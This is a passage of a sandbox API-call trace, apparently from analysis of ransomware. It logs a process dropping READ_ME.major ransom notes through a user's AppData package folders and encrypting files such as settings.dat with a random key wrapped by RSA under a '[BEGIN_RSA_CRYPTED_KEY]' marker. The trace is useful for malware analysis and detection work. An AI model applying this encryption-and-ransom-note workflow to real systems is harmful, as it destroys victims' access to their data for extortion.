| out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.903] CloseHandle (hObject=0xa28) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0193.903] SetLastError (dwErrCode=0x0) [0193.904] GetLastError () returned 0x0 [0193.904] SetLastError (dwErrCode=0x0) [0193.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0193.904] SetLastError (dwErrCode=0x0) [0193.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0193.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657000 [0193.904] SetLastError (dwErrCode=0x0) [0193.904] GetLastError () returned 0x0 [0193.904] SetLastError (dwErrCode=0x0) [0193.904] GetLastError () returned 0x0 [0193.904] SetLastError (dwErrCode=0x0) [0193.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0193.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28 [0193.905] WriteFile (in: hFile=0xa28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.906] CloseHandle (hObject=0xa28) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b1a9358, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1a9358, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1a9358, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] GetLastError () returned 0x0 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f60 [0193.906] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] GetLastError () returned 0x0 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] GetLastError () returned 0x0 [0193.906] SetLastError (dwErrCode=0x0) [0193.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0193.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0193.907] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0193.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b318 [0193.907] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1a9358, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87468 [0193.907] FindNextFileW (in: hFindFile=0x2f87468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1a9358, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.907] FindNextFileW (in: hFindFile=0x2f87468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1a9358, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1a9358, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.907] FindNextFileW (in: hFindFile=0x2f87468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1a9358, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1a9358, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c4d0 [0193.907] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f873e8 [0193.907] FindNextFileW (in: hFindFile=0x2f873e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.907] FindNextFileW (in: hFindFile=0x2f873e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.907] FindNextFileW (in: hFindFile=0x2f873e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0193.908] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87428 [0193.908] FindNextFileW (in: hFindFile=0x2f87428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x2f87428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x2f87428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b9d8 [0193.908] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87828 [0193.908] FindNextFileW (in: hFindFile=0x2f87828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x2f87828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x2f87828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0193.908] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f877a8 [0193.908] FindNextFileW (in: hFindFile=0x2f877a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x2f877a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x2f877a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x2f877a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x2f877a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0193.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f88bb8 [0193.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f10 [0193.909] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.909] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0193.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f88ca0 [0193.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0193.909] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa3c [0193.910] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0193.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8b890 [0193.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0193.910] ReadFile (in: hFile=0xa3c, lpBuffer=0x2f8b890, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b890*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.209] SetFilePointer (in: hFile=0xa3c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.209] WriteFile (in: hFile=0xa3c, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.210] SetFilePointer (in: hFile=0xa3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.210] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.210] WriteFile (in: hFile=0xa3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.210] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.210] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.210] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.210] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/nbKiRweLCdS4YXZycXb8ZEVfXao/oIN0rNwnoY/SFuS41Fvukxu5geuVtTG9MF7\nbqpbPrGopOfLtlpMPYzZhayMqWCp55Wqzi6E9Y3hBCI5jyEoHtMtUW1hjrWN5Dsz\nRzWK61wxa4b3xloI2XsdtyHoHkny2HOiYEYOElJ1nTHcFpoJ9oCg1yRyO3ook9w3\noyMYLX1lkhShM+oZEOa98vOgp/Py5xbWRtnlcudaHOfb4yeIItv1bFV9cLpcsvFr\n0YAgWP/sxHxMzjohf9y2YfIHsfz2/x0sRge5ntxx8LaCsl0lSF+a9AwsjQVXwzQw\n8FwLSHf8mNFrZVNrG4WDKg==\n", pcchString=0x2e3f9a8) returned 1 [0194.211] WriteFile (in: hFile=0xa3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.211] WriteFile (in: hFile=0xa3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.211] CloseHandle (hObject=0xa3c) returned 1 [0194.259] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.259] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f882a8 [0194.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0194.259] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa3c [0194.260] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d340 [0194.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2c0 [0194.260] ReadFile (in: hFile=0xa3c, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.260] SetFilePointer (in: hFile=0xa3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.260] WriteFile (in: hFile=0xa3c, lpBuffer=0x59d2c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.260] SetFilePointer (in: hFile=0xa3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.260] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.260] WriteFile (in: hFile=0xa3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 